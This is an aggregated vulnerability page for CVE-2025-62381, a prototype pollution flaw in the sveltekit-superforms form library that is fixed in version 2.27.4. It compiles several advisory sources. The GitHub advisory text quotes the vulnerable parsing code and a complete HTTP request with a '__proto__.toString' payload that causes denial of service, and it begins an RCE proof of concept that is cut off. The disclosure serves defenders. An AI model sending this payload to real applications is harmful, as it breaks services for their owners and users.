Every CVE Search/ Get API key

CVE-2025-62381

sveltekit-superforms Prototype Pollution in `parseFormData` function of `formData.js`

8.3 HighFix available

sveltekit-superforms makes SvelteKit forms a pleasure to use. sveltekit-superforms v2.27.3 and prior are susceptible to a prototype pollution vulnerability within the parseFormData function of formData.js. An attacker can inject string and array properties into Object.prototype, leading to denial of service, type confusion, and potential remote code execution in downstream applications that rely on polluted objects. This vulnerability is fixed in 2.27.4.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
High
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
Low
Integrity
Low
Availability
High

Exploit likelihood

0.73%Up 0.4 points since Oct 16, 2025
90%50%10%1%

What each source reports

CVE List Score used 8.3

sveltekit-superforms Prototype Pollution in `parseFormData` function of `formData.js`

sveltekit-superforms makes SvelteKit forms a pleasure to use. sveltekit-superforms v2.27.3 and prior are susceptible to a prototype pollution vulnerability within the parseFormData function of formData.js. An attacker can inject string and array properties into Object.prototype, leading to denial of service, type confusion, and potential remote code execution in downstream applications that rely on polluted objects. This vulnerability is fixed in 2.27.4.

Record
CVE-2025-62381
CVSS 4.0
8.3 HighCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:H/SC:L/SI:L/SA:L
Weakness
CWE-1321
Updated
2026-11-02
EUVDEUVD-2025-34681 8.3

sveltekit-superforms makes SvelteKit forms a pleasure to use. sveltekit-superforms v2.27.3 and prior are susceptible to a prototype pollution vulnerability within the parseFormData function of formData.js. An attacker can inject string and array properties into Object.prototype, leading to denial of service, type confusion, and potential remote code execution in downstream applications that rely on polluted objects. This vulnerability is fixed in 2.27.4.

Record
EUVD-2025-34681
CVSS 4.0
8.3 HighCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:H/SC:L/SI:L/SA:L
Updated
2026-11-02
GitHub AdvisoriesGHSA-hwmc-4c8j-xxj7 8.3

`sveltekit-superforms` has Prototype Pollution in `parseFormData` function of `formData.js`

Summary

sveltekit-superforms v2.27.3 and prior are susceptible to a prototype pollution vulnerability within the parseFormData function of formData.js. An attacker can inject string and array properties into Object.prototype, leading to denial of service, type confusion, and potential remote code execution in downstream applications that rely on polluted objects.

Details

Superforms is a SvelteKit form library for server and client form validation. Under normal operation, form validation is performed by calling the the superValidate function, with the submitted form data and a form schema as arguments:

// https://superforms.rocks/get-started#posting-data
const form = await superValidate(request, your_adapter(schema));

Within the superValidate function, a call is made to parseRequest in order to parse the user's input. parseRequest then calls into parseFormData, which in turn looks for the presence of __superform_json in the form parameters. If __superform_json is present, the following snippet is executed:

// src/lib/formData.ts
if (formData.has('__superform_json')) {
	try {
		const transport =
			options && options.transport
				? Object.fromEntries(Object.entries(options.transport).map(([k, v]) => [k, v.decode]))
				: undefined;

		const output = parse(formData.getAll('__superform_json').join('') ?? '', transport);
		if (typeof output === 'object') {
			// Restore uploaded files and add to data
			const filePaths = Array.from(formData.keys());

			for (const path of filePaths.filter((path) => path.startsWith('__superform_file_'))) {
				const realPath = splitPath(path.substring(17));
				setPaths(output, [realPath], formData.get(path));
			}

			for (const path of filePaths.filter((path) => path.startsWith('__superform_files_'))) {
				const realPath = splitPath(path.substring(18));
				const allFiles = formData.getAll(path);

				setPaths(output, [realPath], Array.from(allFiles));
			}

			return output as Record<string, unknown>;
		}
	} catch {
		//
	}
 }

This snippet deserializes JSON input within the __superform_json, and then performs a nested assignment into the deserialized object using values from form parameters beginning with __superform_file_ and __superform_files_. Since both the target property and value of the assignment is controlled by user input, an attacker can use this to pollute the base object prototype. For example, the following request will pollute Object.prototype.toString, which leads to a persistent denial of service in many applications:

POST /signup HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://example.com/signup
content-type: application/x-www-form-urlencoded
x-sveltekit-action: true
Content-Length: 70
Origin: http://example.com
Connection: keep-alive
Priority: u=0
Pragma: no-cache
Cache-Control: no-cache

__superform_json=[{}]&__superform_files___proto__.toString='corrupted'

PoC

The following PoC demonstrates how this vulnerability can be escalated to remote code execution in the presence of suitable gadgets. The example app represents a typical application signup route, using the popular nodemailer library (5 million weekly downloads from npm).

routes/signup/schema.ts:

import { z } from "zod/v4";

export const schema = z.object({
    email: z
        .email({
            error: "Please enter a valid email address.",
        })
        .min(1, {
            error: "Email address is required.",
        }),
    password: z.string().min(8, {
        error: "Password must be at least 8 characters long.",
    }),
});

routes/signup/+page.server.ts:

import { zod4 } from "sveltekit-superforms/adapters";
import { fail, setError, superValidate } from "sveltekit-superforms";
import { schema } from "./schema";
import nodemailer from…
Record
GHSA-hwmc-4c8j-xxj7
CVSS 4.0
8.3 HighCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:H/SC:L/SI:L/SA:L
Weakness
CWE-1321
Updated
2026-11-02
NVD 8.3

sveltekit-superforms makes SvelteKit forms a pleasure to use. sveltekit-superforms v2.27.3 and prior are susceptible to a prototype pollution vulnerability within the parseFormData function of formData.js. An attacker can inject string and array properties into Object.prototype, leading to denial of service, type confusion, and potential remote code execution in downstream applications that rely on polluted objects. This vulnerability is fixed in 2.27.4.

Record
CVE-2025-62381
CVSS 4.0
8.3 HighCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:H/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Weakness
CWE-1321
Updated
2026-11-02
OSV 8.3

sveltekit-superforms Prototype Pollution in `parseFormData` function of `formData.js`

sveltekit-superforms makes SvelteKit forms a pleasure to use. sveltekit-superforms v2.27.3 and prior are susceptible to a prototype pollution vulnerability within the parseFormData function of formData.js. An attacker can inject string and array properties into Object.prototype, leading to denial of service, type confusion, and potential remote code execution in downstream applications that rely on polluted objects. This vulnerability is fixed in 2.27.4.

Record
CVE-2025-62381
CVSS 4.0
8.3 HighCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:H/SC:L/SI:L/SA:L
Weakness
CWE-1321
Updated
2026-11-02
OSVGHSA-hwmc-4c8j-xxj7 8.3

`sveltekit-superforms` has Prototype Pollution in `parseFormData` function of `formData.js`

Summary

sveltekit-superforms v2.27.3 and prior are susceptible to a prototype pollution vulnerability within the parseFormData function of formData.js. An attacker can inject string and array properties into Object.prototype, leading to denial of service, type confusion, and potential remote code execution in downstream applications that rely on polluted objects.

Details

Superforms is a SvelteKit form library for server and client form validation. Under normal operation, form validation is performed by calling the the superValidate function, with the submitted form data and a form schema as arguments:

// https://superforms.rocks/get-started#posting-data
const form = await superValidate(request, your_adapter(schema));

Within the superValidate function, a call is made to parseRequest in order to parse the user's input. parseRequest then calls into parseFormData, which in turn looks for the presence of __superform_json in the form parameters. If __superform_json is present, the following snippet is executed:

// src/lib/formData.ts
if (formData.has('__superform_json')) {
	try {
		const transport =
			options && options.transport
				? Object.fromEntries(Object.entries(options.transport).map(([k, v]) => [k, v.decode]))
				: undefined;

		const output = parse(formData.getAll('__superform_json').join('') ?? '', transport);
		if (typeof output === 'object') {
			// Restore uploaded files and add to data
			const filePaths = Array.from(formData.keys());

			for (const path of filePaths.filter((path) => path.startsWith('__superform_file_'))) {
				const realPath = splitPath(path.substring(17));
				setPaths(output, [realPath], formData.get(path));
			}

			for (const path of filePaths.filter((path) => path.startsWith('__superform_files_'))) {
				const realPath = splitPath(path.substring(18));
				const allFiles = formData.getAll(path);

				setPaths(output, [realPath], Array.from(allFiles));
			}

			return output as Record<string, unknown>;
		}
	} catch {
		//
	}
 }

This snippet deserializes JSON input within the __superform_json, and then performs a nested assignment into the deserialized object using values from form parameters beginning with __superform_file_ and __superform_files_. Since both the target property and value of the assignment is controlled by user input, an attacker can use this to pollute the base object prototype. For example, the following request will pollute Object.prototype.toString, which leads to a persistent denial of service in many applications:

POST /signup HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://example.com/signup
content-type: application/x-www-form-urlencoded
x-sveltekit-action: true
Content-Length: 70
Origin: http://example.com
Connection: keep-alive
Priority: u=0
Pragma: no-cache
Cache-Control: no-cache

__superform_json=[{}]&__superform_files___proto__.toString='corrupted'

PoC

The following PoC demonstrates how this vulnerability can be escalated to remote code execution in the presence of suitable gadgets. The example app represents a typical application signup route, using the popular nodemailer library (5 million weekly downloads from npm).

routes/signup/schema.ts:

import { z } from "zod/v4";

export const schema = z.object({
    email: z
        .email({
            error: "Please enter a valid email address.",
        })
        .min(1, {
            error: "Email address is required.",
        }),
    password: z.string().min(8, {
        error: "Password must be at least 8 characters long.",
    }),
});

routes/signup/+page.server.ts:

import { zod4 } from "sveltekit-superforms/adapters";
import { fail, setError, superValidate } from "sveltekit-superforms";
import { schema } from "./schema";
import nodemailer from…
Record
GHSA-hwmc-4c8j-xxj7
CVSS 4.0
8.3 HighCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:H/SC:L/SI:L/SA:L
Weakness
CWE-1321
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
sveltekit-superforms
npm
through 2.27.3
2.27.4
sveltekit-superforms
npm
before 2.27.4
2.27.4

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2025-62381 is a high vulnerability (CVSS 8.3) in Ciscoheat Sveltekit-superforms, published October 15, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.73%, the 54th percentile. Fixed in sveltekit-superforms 2.27.4.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open